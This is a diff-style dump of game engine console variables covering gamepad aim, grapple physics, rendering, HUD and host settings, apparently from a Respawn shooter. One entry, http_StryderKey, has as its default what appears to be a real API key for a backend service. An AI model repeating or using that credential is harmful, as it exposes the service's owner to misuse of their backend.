+gamepad_aim_speed_ads_3 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_4 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_5 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_6 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_7 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_button_layout + +Gamepad button layout (used by menus) + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_buttons_are_southpaw + +Gamepad button layouts should use southpaw variants (used by menus) + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_pitch + + + +default: `"75.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_delay + + + +default: `"0.25"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_pitch + + + +default: `"30.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_time + + + +default: `"1.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_yaw + + + +default: `"30.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_yaw + + + +default: `"110.0"` +flags: `0x1000000` +
+
+gamepad_custom_assist_on + + + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_custom_curve + + + +default: `"10.0"` +flags: `0x1000000` +
+
+gamepad_custom_deadzone_in + + + +default: `"0.15"` +flags: `0x1000000` +
+
+gamepad_custom_deadzone_out + + + +default: `"0.02"` +flags: `0x1000000` +
+
+gamepad_custom_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_pitch + + + +default: `"120.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_delay + + + +default: `"0.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_pitch + + + +default: `"0.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_time + + + +default: `"0.33"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_yaw + + + +default: `"220.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_yaw + + + +default: `"160.0"` +flags: `0x1000000` +
+
+gamepad_custom_pilot + + + +default: `"0,1,2,3,4,5,6,7,8,9,10,11,12,13"` +flags: `0x1000000` +
+
+gamepad_custom_titan + + + +default: `"0,1,2,3,4,5,6,7,8,9,10,11,12,13"` +flags: `0x1000000` +
+
+gamepad_deadzone_index_look + + + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_deadzone_index_move + + + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_enabled + +True if the gamepad is enabled, false otherwise. + +default: `"1"` +flags: `0x2` +min value: `0` +max value: `1` +
+
+gamepad_look_curve + + + +default: `"0"` +flags: `0x1000000` +min value: `0` +max value: `4` +
+
+gamepad_stick_layout + +Gamepad stick layout (used by menus) + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_toggle_ads + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_togglecrouch_hold + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_trigger_threshold + + + +default: `"30"` +flags: `0x1000000` +
+
+gamepad_use_per_scope_ads_settings + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_use_per_scope_sensitivity_scalars + +Gamepad uses the per scope scalars + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_use_type + +Gamepad use scheme (used by menus), 0: hold use, tap reload, 1: tap use, hold reload, 2: tap use/reload + +default: `"2"` +flags: `0x1000000` +
+
+gameui_xbox + + + +default: `"0"` +flags: `0x2` +
+
+gamma_adjusted + +Whether player has done gamma adjustment + +default: `"0"` +flags: `0x1000000` +
+
+gatherprops_no_wait + + + +default: `"1"` +flags: `0x2` +
+
+gfx_desaturate_force + + + +default: `"0"` +flags: `0x2` +
+
+gfx_nvnUseLowLatency + +enables Nvidia Low Latency SDK + +default: `"1"` +flags: `0x80000` +
+
+gfx_nvnUseLowLatencyBoost + +enables Low Latency Boost + +default: `"1"` +flags: `0x80000` +
+
+gl_clear_color_buffer + +Enable or disable the clearing of the main color buffer. + +default: `"0"` +flags: `0x4000` +
+
+gl_clear_fogcolor + + + +default: `"1"` +flags: `0x4000` +
+
+gl_clear_randomcolor + +Clear the back buffer to random colors every frame. Helps spot open seams in geometry. + +default: `"0"` +flags: `0x4000` +
+
+glass_break_required_speed + + + +default: `"150"` +flags: `0x6000` +
+
+glass_shatter_direction_force_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+glass_shatter_force_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+glass_shatter_size_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+glass_shatter_use_real_direction + + + +default: `"0"` +flags: `0x2` +
+
+glitch_aberrationScale + +How far apart the glitch cloak samples should be. + +default: `"10"` +flags: `0x2002` +
+
+global_lighting_partial_update + +Allow partial uploads of GPU lights (optimization.) + +default: `"1"` +flags: `0x2` +
+
+gpu_count + + + +default: `"0"` +flags: `0x2` +
+
+gpu_driven_tex_stream + + + +default: `"1"` +flags: `0x2` +
+
+gpu_driven_tex_stream_single_thread + + + +default: `"1"` +flags: `0x2` +
+
+gpu_level + +GPU Level - Default: High + +default: `"3"` +flags: `0x2` +
+
+gpu_level + +GPU Level - Default: High + +default: `"3"` +flags: `0x2` +
+
+gpu_mem_level + +Memory Level - Default: Normal + +default: `"0"` +flags: `0x2` +
+
+gpu_mem_level + +Memory Level - Default: Normal + +default: `"0"` +flags: `0x2` +
+
+gpu_vram_size_mb + + + +default: `"0"` +flags: `0x2` +
+
+grapple_accel_human + +Speed added per second from grapple, up to the grapple_speedRamp* speed + +default: `"1000"` +flags: `0x2002` +
+
+grapple_accel_titan + +Speed added per second from grapple, up to the grapple_speedRamp* speed + +default: `"1800"` +flags: `0x2002` +
+
+grapple_around_obstacle_accel + +Acceleration around obstacles while grappling + +default: `"1000"` +flags: `0x2002` +
+
+grapple_autoMantle + +After detaching from grapple, how long to keep trying to automantle + +default: `"0.25"` +flags: `0x2002` +
+
+grapple_autoMeleeConvergeTime + +Simplify relative velocities when the enemy is this many seconds away from hitting us (increases chances of a hit) + +default: `"1.0"` +flags: `0x2002` +
+
+grapple_autoMeleeOnDetach + +Starts a melee sequence when the grapple detaches. + +default: `"1"` +flags: `0x2002` +
+
+grapple_autoMeleePredict + +Whether to run grapple melee logic on the client (tends to mispredict anyway) + +default: `"0"` +flags: `0x2002` +
+
+grapple_autoMeleePredictTime + +Melee begins when the enemy is this many seconds away from hitting us + +default: `"0.13"` +flags: `0x2002` +
+
+grapple_autoMeleeViewRotateSpeedFar + +Speed at which view rotates toward grapple melee target + +default: `"1"` +flags: `0x2002` +
+
+grapple_autoMeleeViewRotateSpeedNear + +Speed at which view rotates toward grapple melee target + +default: `"3"` +flags: `0x2002` +
+
+grapple_debug + +Show grapple debug info + +default: `"0"` +flags: `0x2002` +
+
+grapple_decelMeleeStrength + +Strength of extra deceleration that forces melee targets to come to you + +default: `"1"` +flags: `0x2002` +
+
+grapple_decel_human + +Deceleration of player's speed that doesn't go toward the grapple point + +default: `"425"` +flags: `0x2002` +
+
+grapple_decel_titan + +Deceleration of player's speed that doesn't go toward the grapple point + +default: `"200"` +flags: `0x2002` +
+
+grapple_detachExtraAllowedLength + +Extra allowed grapple length before detaching once it's attached + +default: `"256"` +flags: `0x2002` +
+
+grapple_disableMeleeWhenActive + +Disallows melee when the grapple is out. + +default: `"0"` +flags: `0x2002` +
+
+grapple_dontFightGravity + +Ignores downward speed when applying deceleration, so that gravity continues to pull you down + +default: `"1"` +flags: `0x2002` +
+
+grapple_fallSpeed + +Fall speed of the grapple hook while it's returning + +default: `"300"` +flags: `0x2002` +
+
+grapple_forcedRetractVel + +Return speed of grapple hook when grapple is finished or cancelled + +default: `"3000"` +flags: `0x2002` +
+
+grapple_gracePeriod + +Length of time player can grapple without using a charge, in case they mess up + +default: `"0.25"` +flags: `0x2002` +
+
+grapple_gravityPushUnderContribution + +Pushing forward while looking "under" the grapple point increases gravity this much + +default: `"2"` +flags: `0x2002` +
+
+grapple_initialImpulseOffGround_human + +Initial launch speed off the ground when grapple connects + +default: `"50"` +flags: `0x2002` +
+
+grapple_initialImpulseOffGround_human_npc + +Initial launch speed off the ground when grapple connects + +default: `"150"` +flags: `0x2002` +
+
+grapple_initialImpulseOffGround_titan + +Initial launch speed off the ground when grapple connects + +default: `"0"` +flags: `0x2002` +
+
+grapple_initialImpulse_human + +Initial launch speed when grapple connects + +default: `"350"` +flags: `0x2002` +
+
+grapple_initialImpulse_titan + +Initial launch speed when grapple connects + +default: `"350"` +flags: `0x2002` +
+
+grapple_initialSlowFracVert_human + +Fraction of vertical speed that is retained when grapple connects + +default: `"0.4"` +flags: `0x2002` +
+
+grapple_initialSlowFracVert_titan + +Fraction of vertical speed that is retained when grapple connects + +default: `"0.1"` +flags: `0x2002` +
+
+grapple_initialSlowFrac_human + +Fraction of XY speed that is retained when grapple connects + +default: `"1"` +flags: `0x2002` +
+
+grapple_initialSlowFrac_titan + +Fraction of XY speed that is retained when grapple connects + +default: `"0.5"` +flags: `0x2002` +
+
+grapple_initialSpeedMin_human + +When grapple connects, player speed is immediately set to at least this value (negative = away, positive = towards) + +default: `"0"` +flags: `0x2002` +
+
+grapple_initialSpeedMin_titan + +When grapple connects, player speed is immediately set to at least this value (negative = away, positive = towards) + +default: `"0"` +flags: `0x2002` +
+
+grapple_jumpFrac + +Jump velocity multiplier when grappled + +default: `"1.0"` +flags: `0x2002` +
+
+grapple_letGravityHelpCosAngle + +Don't ignore gravity when grappling downward this much (0 is horizontal, 1 is straight down) + +default: `"0.8"` +flags: `0x2002` +
+
+grapple_lift + +Distance above grapple hook that player is pulled to + +default: `"25"` +flags: `0x2002` +
+
+grapple_pullDelay_human + +Grapple delay between attachment and acceleration + +default: `"0.2"` +flags: `0x2002` +
+
+grapple_pullDelay_titan + +Grapple delay between attachment and acceleration + +default: `"0.2"` +flags: `0x2002` +
+
+grapple_retractVel + +Return speed of grapple hook when it hasn't hit anything yet + +default: `"6000"` +flags: `0x2002` +
+
+grapple_rodeoVerticalImpulse + +Vertical impulse applied to the player when grappling off of a rodeo. + +default: `"750"` +flags: `0x2002` +
+
+grapple_shootVel + +Outward speed of grapple hook + +default: `"2000"` +flags: `0x2002` +
+
+grapple_speedRampMax_human + +Player will accelerate to this speed after grapple_speedRampTime has passed + +default: `"400"` +flags: `0x2002` +
+
+grapple_speedRampMax_titan + +Player will accelerate to this speed after grapple_speedRampTime has passed + +default: `"750"` +flags: `0x2002` +
+
+grapple_speedRampMin_human + +Player will accelerate to this speed while grappling; lerps to grapple_speedRampMax over grapple_speedRampTime + +default: `"50"` +flags: `0x2002` +
+
+grapple_speedRampMin_titan + +Player will accelerate to this speed while grappling; lerps to grapple_speedRampMax over grapple_speedRampTime + +default: `"400"` +flags: `0x2002` +
+
+grapple_speedRampTime_human + +Time from grapple_speedRampMin to grapple_speedRampMax + +default: `"1.5"` +flags: `0x2002` +
+
+grapple_speedRampTime_titan + +Time from grapple_speedRampMin to grapple_speedRampMax + +default: `"1.0"` +flags: `0x2002` +
+
+grapple_swingAngle + +Maximum angle from vertical that swinging will generate acceleration (it will tend to zero acceleration at this angle) + +default: `"45"` +flags: `0x2002` +
+
+grapple_swingPullAngle + +If the player is pushing forward within this angle of the pull direction, then switch out of swinging mode. + +default: `"0"` +flags: `0x2002` +
+
+grapple_swingPullSpeedLength + +When swinging, the grapple pull speed scale begins to scale back to 1.0 at lengths below this + +default: `"300.0"` +flags: `0x2002` +
+
+grapple_swingPullSpeedScale + +When swinging, the grapple pull speed is scaled by this much + +default: `"0.025"` +flags: `0x2002` +
+
+grapple_titanEmbarkDist + +Distance at which to begin embark when grappling to your own titan. + +default: `"250"` +flags: `0x2002` +
+
+grapple_windowCheckDist + +Check for window hints at this distance from grapple point + +default: `"150"` +flags: `0x2002` +
+
+gravity_grenade_decel + +Deceleration applied by gravity grenade to nearby objects + +default: `"20000"` +flags: `0x2002` +
+
+gravity_grenade_projectile_min_speed + +Gravity grenade never slows projectiles below this speed + +default: `"600"` +flags: `0x2002` +
+
+ground_debug + + + +default: `"0"` +flags: `0x2002` +
+
+ground_trace_hull_radius + +How wide of a sphere is the trace for getting a character's ground surface + +default: `"12.0f"` +flags: `0x2002` +
+
+grx_hasUnknownItems + + + +default: `"0"` +flags: `0x2002` +
+
+gtao_angle_bias + +angle in degree [0-90) + +default: `"0"` +flags: `0x2` +
+
+gtao_intensity + + + +default: `"2"` +flags: `0x2` +
+
+gtao_intensity_in_lobby + + + +default: `"3"` +flags: `0x2` +
+
+gtao_thickness_heuristic + +in range of [0,1) + +default: `"0.2"` +flags: `0x2` +
+
+hasAnyAssetsWithDiscardedStreamableData + + + +default: `"0"` +flags: `0x200` +
+
+hasMic + + + +default: `"0"` +flags: `0x200` +
+
+hasPartialInstall + + + +default: `"0"` +flags: `0x200` +
+
+hbao_angle_bias + +angle in degree [0-90) + +default: `"6"` +flags: `0x2` +
+
+hbao_intensity + + + +default: `"3"` +flags: `0x2` +
+
+hbao_stepsize_random + + + +default: `"0.5"` +flags: `0x2` +
+
+hbaobasic_tangent_bias + +angle in degree [0-90) + +default: `"25"` +flags: `0x2` +
+
+hidehud + + + +default: `"0"` +flags: `0x4000` +
+
+highlight_deferred_update + + + +default: `"1"` +flags: `0x2` +
+
+highlight_draw + +highlight_draw 0|1 + +default: `"1"` +flags: `0x2` +
+
+highlight_lazy_clear_buffers + +highlight_lazy_clear_buffers 0|1 + +default: `"0"` +flags: `0x2` +
+
+highlight_object_max_count + +highlight_object_max_count OBJECT_MAX_COUNT + +default: `"255"` +flags: `0x2` +
+
+hitbox_bodygroup_check + + + +default: `"0"` +flags: `0x2` +
+
+hitch_alert_active + + + +default: `"1"` +flags: `0x2` +
+
+hitch_alert_color + +The hitch/choke allerts will use this color. + +default: `"255 255 0 255"` +flags: `0x2` +
+
+hitch_alert_show_large_snapshots + + + +default: `"0"` +flags: `0x2` +
+
+host_RunFrameServerAlways + + + +default: `"0"` +flags: `0x2` +
+
+host_ShowIPCCallCount + +Print # of IPC calls this number of times per second. If set to -1, the # of IPC calls is shown every frame. + +default: `"0"` +flags: `0x2` +
+
+host_flush_threshold + +Memory threshold below which the host should flush caches between server instances + +default: `"12"` +flags: `0x80000` +
+
+host_forceTakeHomeBuild + + + +default: `"0"` +flags: `0x2` +
+
+host_framerate + +Set to lock per-frame time elapse. + +default: `"0"` +flags: `0x2` +
+
+host_hasIrreversibleShutdown + + + +default: `"1"` +flags: `0x2` +
+
+host_limitlocal + +Apply cl_cmdrate and cl_updaterate to loopback connection + +default: `"0"` +flags: `0x2` +
+
+host_map + +Current map name. + +default: `""` +flags: `0x80000` +
+
+host_print_frame_times + + + +default: `"0"` +flags: `0x2` +
+
+host_profile + + + +default: `"0"` +flags: `0x2` +
+
+host_runframe_input_parcelremainder + + + +default: `"1"` +flags: `0x2` +
+
+host_server_thread_min_ticks + +Only run the server thread when it needs this many ticks. + +default: `"1"` +flags: `0x2` +
+
+host_sleep + +Force the host to sleep a certain number of milliseconds each frame. + +default: `"0"` +flags: `0x4000` +
+
+host_speeds + +Show general system running times. + +default: `"0"` +flags: `0x2` +
+
+host_syncfps + +Synchronize real render time to host_framerate if possible. + +default: `"0"` +flags: `0x2` +
+
+host_thread_join_fast + +If true we force the server thread join before existing '_Host_RunFrame' + +default: `"0"` +flags: `0x2` +
+
+host_thread_mode + +Run the host in threaded mode, (0 == off, 1 == if multicore, 2 == force) + +default: `"1"` +flags: `0x40000002` +
+
+host_threaded_sound + +Run the sound on a thread (independent of mix) + +default: `"0"` +flags: `0x2` +
+
+host_timescale + +Prescale the clock by this amount. + +default: `"1.0"` +flags: `0x6000` +
+
+hostname + +Hostname for server. + +default: `""` +flags: `0x80000` +
+
+hover_vehicle_acceleration + + + +default: `"750.0"` +flags: `0x2002` +
+
+hover_vehicle_air_acceleration + + + +default: `"250.0"` +flags: `0x2002` +
+
+hover_vehicle_boost_cooldown + + + +default: `"25.0"` +flags: `0x2002` +
+
+hover_vehicle_boost_speed_max + + + +default: `"2000.0"` +flags: `0x2002` +
+
+hover_vehicle_boost_speed_min + + + +default: `"1200.0"` +flags: `0x2002` +
+
+hover_vehicle_deceleration + + + +default: `"550.0"` +flags: `0x2002` +
+
+hover_vehicle_deceleration_powerbreaking + + + +default: `"1000.0"` +flags: `0x2002` +
+
+hover_vehicle_invisible_when_camera_is_too_close + + + +default: `"1"` +flags: `0x2` +
+
+hover_vehicle_passenger_left_attachment_name + + + +default: `"passenger1"` +flags: `0x2002` +
+
+hover_vehicle_speed + + + +default: `"1000.0"` +flags: `0x2002` +
+
+http_StryderKey + + + +default: `"LABj38NWSTxHUhdYaP62ZU6HtutCas3L"` +flags: `0x12` +
+
+http_debug + + + +default: `"0"` +flags: `0x2` +
+
+http_debug_forceFailRate + + + +default: `"0"` +flags: `0x2` +
+
+http_debug_forceFailStatus + + + +default: `"429"` +flags: `0x2` +
+
+http_expoBackoff_Enabled + +Enable exponential backoff for HTTP calls + +default: `"1"` +flags: `0x2` +
+
+http_failuresAsErrors + + + +default: `"0"` +flags: `0x2` +
+
+http_maxAllocateAttempts + + + +default: `"10"` +flags: `0x2` +
+
+http_recv_fail_realloc + + + +default: `"0"` +flags: `0x2` +
+
+http_sandbox + + + +default: `"EARW.50"` +flags: `0x2` +
+
+http_showQueries + + + +default: `"0"` +flags: `0x2` +
+
+hud_autoreloadscript + +Automatically reloads the animation script each time one is ran + +default: `"0"` +flags: `0x2` +
+
+hud_setting_accessibleChat + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_adsDof + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_anonymousMode + + + +default: `"0"` +flags: `0x1000200` +
+
+hud_setting_compactOverHeadNames + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_damageIndicatorStyle + + + +default: `"2"` +flags: `0x1000000` +
+
+hud_setting_damageTextStyle + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_enableModWheel + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_healthUseOnHold + +use health by holding button + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_healthWheelToggle + +toggle health wheel on press + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_healthWheelUseOnRelease + +use health after selecting it + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_lootPromptStyle + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_minimapRotate + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_ordnanceUseOnHold + +use ordnance by holding button + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_ordnanceWheelToggle + +toggle ordnance wheel on press + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_ordnanceWheelUseOnRelease + +use ordnance after selecting it + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_pingAlpha + + + +default: `"1.0"` +flags: `0x1000000` +
+
+hud_setting_pingDoubleTapEnemy + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_pingWheelToggle + +toggle ping wheel on press + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_showButtonHints + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showCallsigns + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showHopUpPopUp + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showLevelUp + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showMedals + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showMeter + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showObituary + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showTips + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showWeaponFlyouts + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_streamerMode + + + +default: `"0"` +flags: `0x1000000` +
+
+hudchat_new_message_fade_duration + +How long messages added to the text chat will take to fade from opaque to not visible + +default: `"1.0"` +flags: `0x2` +
+
+hudchat_new_message_shown_duration + +How long messages added to the text chat stick around with the panel not focused + +default: `"12"` +flags: `0x2` +
+
+hudchat_play_text_to_speech + + + +default: `"0"` +flags: `0x1000000` +
+
+hudchat_transition_message_mode_fade_duration + +When switching message mode of the text chat panel how long it takes to transition visibility + +default: `"0.25"` +flags: `0x2` +
+
+hudchat_visibility + + + +default: `"1"` +flags: `0x1000000` +
+
+hudwarp_chopsize + +Number of pixels to a primitive before chopping for warping. + +default: `"60.0"` +flags: `0x4000` +
+
+hudwarp_override + +Use convar settings for hud warp (instead of script-provided settings) + +default: `"0"` +flags: `0x4000` +
+
+hudwarp_viewDist + +Distance back from sphere center to use when 2d projecting. + +default: `"1.0"` +flags: `0x4000` +
+
+hudwarp_xScale + +Final scale for X (after projecting sphere surface to 2d.) + +default: `"1.2"` +flags: `0x4000` +
+
+hudwarp_xWarp + +Degrees of arc of sphere to use (0-90, low distortion to high.) + +default: `"45.0"` +flags: `0x4000` +
+
+hudwarp_yScale + +Final scale for Y (after projecting sphere surface to 2d.) + +default: `"1.1"` +flags: `0x4000` +
+
+hudwarp_yWarp + +Degrees of arc for Y warp (0-90, low distortion to high.) + +default: `"30.0"` +flags: `0x4000` +
+
+idcolor_ally + + + +default: `"0.34 0.59 0.86 3"` +flags: `0x2` +
+
+idcolor_ally_cb1 + + + +default: `"0.24 0.50 0.96 3"` +flags: `0x2` +
+
+idcolor_ally_cb2 + + + +default: `"0.0 0.58 0.77 3"` +flags: `0x2` +
+
+idcolor_ally_cb3 + + + +default: `"0.28 0.52 0.97 3"` +flags: `0x2` +
+
+idcolor_enemy + + + +default: `"0.8 0.25 0.15 3"` +flags: `0x2` +
+
+idcolor_enemy_cb1 + + + +default: `"0.89 0.78 0.0 3"` +flags: `0x2` +
+
+idcolor_enemy_cb2 + + + +default: `"1.0 0.627 0.68 3"` +flags: `0x2` +
+
+idcolor_enemy_cb3 + + + +default: `"0.82 0.74 0.06 3"` +flags: `0x2` +
+
+idcolor_neutral + + + +default: `"1.0 1.0 1.0 0.6"` +flags: `0x2` +
+
+ignore_fatal_errors + +Don't exit on fatal errors. + +default: `"0"` +flags: `0x2` +
+
+ignore_script_errors + +Ignore script errors. + +default: `"0"` +flags: `0x2` +
+
+ik_debug + +Enables debug lines for IK + +default: `"0"` +flags: `0x2002` +
+
+ik_debug_chain + +Allows specifying a single IK chain name for IK debugging + +default: `""` +flags: `0x2002` +
+
+ik_debug_ent + +Allows specifying a single entity for IK debugging + +default: `""` +flags: `0x2002` +
+
+ik_debug_text + +Enables IK debug text; requires ik_debug + +default: `"0"` +flags: `0x2002` +
+
+ik_enable + +Enables IK + +default: `"1"` +flags: `0x2002` +
+
+ik_enable_client + +Enables IK on the client + +default: `"1"` +flags: `0x2002` +
+
+ik_height_adjust + +Enable ik height adjustment + +default: `"1"` +flags: `0x2002` +
+
+ik_height_adjust_debug + +Debugging for ik height adjustment + +default: `"0"` +flags: `0x2002` +
+
+ik_height_adjust_move_speed + +IK height adjustment speed per unit of horizontal velocity in units per second + +default: `"2.0"` +flags: `0x2002` +
+
+ik_height_adjust_sine + +Test ik height adjustment with a sine wave + +default: `"0"` +flags: `0x2002` +
+
+ik_height_adjust_speed + +IK height adjustment speed as a fraction of step size per second + +default: `"2.0"` +flags: `0x2002` +
+
+ik_latch + +Enables IK latching to ground during footsteps + +default: `"1"` +flags: `0x2002` +
+
+ik_normal_lerp_rate + +Rate at which feet adjust to a new ground orientation in angles per second + +default: `"100"` +flags: `0x2002` +
+
+ik_unlatch_max_rate + +Maximum rate an IK'd bone can unlatch; prevents pop on animation transition + +default: `"5"` +flags: `0x2002` +
+
+ime_enabled + +Enabled the IME + +default: `"1"` +flags: `0x2` +
+
+imgui_buildmode + +Show the imgui implementation of the Build Mode dialog + +default: `"0"` +flags: `0x2` +
+
+imgui_buildmode + +Show the imgui implementation of the Build Mode dialog + +default: `"0"` +flags: `0x2` +
+
+impact_allow + + + +default: `"1"` +flags: `0x2` +
+
+impact_debug_info + + + +default: `"0"` +flags: `0x2` +
+
+impact_victim_offset_dist + +Distance to offset impact sounds from the victim, when requested + +default: `"256"` +flags: `0x2` +
+
+impulse_low_decel_duration_scalar + +Impulse magnitude is multiplied by this to give a length of time that the player can't decelerate + +default: `"0.003"` +flags: `0x2002` +
+
+inPartyChat + + + +default: `"0"` +flags: `0x200` +
+
+in_forceuser + +Force user input to this split screen player. + +default: `"0"` +flags: `0x4000` +
+
+in_syncRT + + + +default: `"0"` +flags: `0x2` +
+
+in_usekeyboardsampletime + +Use keyboard sample time smoothing. + +default: `"1"` +flags: `0x2` +
+
+inbox_enabled + + + +default: `"0"` +flags: `0x2` +
+
+infoblock_requestInterval + +Time between info block requests + +default: `"300"` +flags: `0x2` +
+
+input_did_turn_threshold + +Degrees per second. + +default: `"1.0f"` +flags: `0x2` +
+
+intro_viewed + +Whether the introduction video has been viewed by this player + +default: `"0"` +flags: `0x1000000` +
+
+ip + +Overrides IP for multihomed hosts + +default: `"localhost"` +flags: `0x80000` +
+
+joy_advaxisr + + + +default: `"2"` +flags: `0x2` +
+
+joy_advaxisu + + + +default: `"4"` +flags: `0x2` +
+
+joy_advaxisv + + + +default: `"6"` +flags: `0x2` +
+
+joy_advaxisx + + + +default: `"3"` +flags: `0x2` +
+
+joy_advaxisy + + + +default: `"1"` +flags: `0x2` +
+
+joy_advaxisz + + + +default: `"5"` +flags: `0x2` +
+
+joy_inverty + +Whether to invert the Y axis of the joystick for looking. + +default: `"0"` +flags: `0x1000000` +
+
+joy_legacy + +Turn on/off 'Legacy' mapping for control sticks. + +default: `"0"` +flags: `0x40000000` +
+
+joy_movement_stick + +Which stick controls movement (0 is left stick) + +default: `"0"` +flags: `0x40000000` +
+
+joy_requireFocus + + + +default: `"1"` +flags: `0x2` +
+
+joy_rumble + +Controller rumble. + +default: `"1"` +flags: `0x1000000` +
+
+joy_xcontroller_cfg_loaded + +If 0, the 360controller.cfg file will be executed on startup & option changes. + +default: `"0"` +flags: `0x2` +
+
+jpeg_quality + +jpeg screenshot quality. + +default: `"90"` +flags: `0x2` +
+
+jt_help_with_anything_ignore_preference + +This let's JT_HelpWithAnything() work on tasks that are not preferred. + +default: `"0"` +flags: `0x2` +
+
+jump_graceperiod + +Extra time during which a player can jump after falling off a ledge + +default: `"0.2"` +flags: `0x2002` +
+
+jump_keyboardgrace_max + +Amount of velocity change allowed during jump_keyboardgraceperiod, as a fraction of sprinting speed + +default: `"0.7"` +flags: `0x2002` +
+
+jump_keyboardgrace_strength + +Fraction of change toward the new direction when pressing a direction during jump_keyboardgraceperiod + +default: `"0.7"` +flags: `0x2002` +
+
+jump_keyboardgraceperiodmax + +Extra time during which a player can change their direction with keyboard input after jumping (fades to 0 strength at this time) + +default: `"0.5"` +flags: `0x2002` +
+
+jump_keyboardgraceperiodmin + +Extra time during which a player can change their direction with keyboard input after jumping (at full strength) + +default: `"0.2"` +flags: `0x2002` +
+
+killReplay_lagCompensate + +Adjust player timing to try to match what the client saw rather than what the server saw. + +default: `"1"` +flags: `0x2` +
+
+killReplay_playNonReplayRemoteCallsOnLocalClientPlayer + + + +default: `"1"` +flags: `0x2` +
+
+leaf_threadedRecompute + + + +default: `"1"` +flags: `0x2` +
+
+leaf_threadedRecompute_batchSize + + + +default: `"12"` +flags: `0x2` +
+
+leech_npc_angle_cos + +Cos(angle) allowed for leeching npcs + +default: `"-1"` +flags: `0x2002` +
+
+lerp_careAboutAttachmentBonePosition + + + +default: `"0"` +flags: `0x2` +
+
+lerp_debugEnt + + + +default: `"-2"` +flags: `0x2002` +
+
+lerp_opt + + + +default: `"1"` +flags: `0x2` +
+
+lerp_threaded + + + +default: `"1"` +flags: `0x2` +
+
+lerp_threaded_numEntsPerTask + + + +default: `"6"` +flags: `0x2` +
+
+light_maxcone + +Max light cone limit. Cone limit is half angle in degrees. + +default: `"85"` +flags: `0x2` +
+
+lightmap_realtimelight + +If true use the real-time light lightmap for selecting real-time lights. + +default: `"1"` +flags: `0x2` +
+
+lightmap_realtimeshadows + + + +default: `"1"` +flags: `0x2` +
+
+load_during_video + + + +default: `"1"` +flags: `0x2` +
+
+loaderrorsCount + + + +default: `"0"` +flags: `0x2` +
+
+loaderrorsNeedShown + + + +default: `"0"` +flags: `0x2` +
+
+localClientPlayerCachedLevel + + + +default: `"1"` +flags: `0x1000010` +
+
+locationInfo + +What OS(on PC and Durango) or PSN account(on PS4) reports as the user's location + +default: `""` +flags: `0x210` +
+
+locationInfo_nucleus + +What origin(on PC) or nucleus(on console) reports as the user's location + +default: `""` +flags: `0x210` +
+
+locator_background_border_color + +The default color for the border. + +default: `"255 255 255 15"` +flags: `0x2` +
+
+locator_background_border_thickness + +How many pixels the background borders the left and right. + +default: `"3"` +flags: `0x2` +
+
+locator_background_color + +The default color for the background. + +default: `"255 255 255 5"` +flags: `0x2` +
+
+locator_background_shift_x + +How many pixels the background is shifted right. + +default: `"3"` +flags: `0x2` +
+
+locator_background_shift_y + +How many pixels the background is shifted down. + +default: `"1"` +flags: `0x2` +
+
+locator_background_style + +Setting this to 1 will show rectangle backgrounds behind the items word-bubble pointers. + +default: `"0"` +flags: `0x2` +
+
+locator_background_thickness_x + +How many pixels the background borders the left and right. + +default: `"8"` +flags: `0x2` +
+
+locator_background_thickness_y + +How many pixels the background borders the top and bottom. + +default: `"0"` +flags: `0x2` +
+
+locator_fade_time + +Number of seconds it takes for a lesson to fully fade in/out. + +default: `"0.3"` +flags: `0x2` +
+
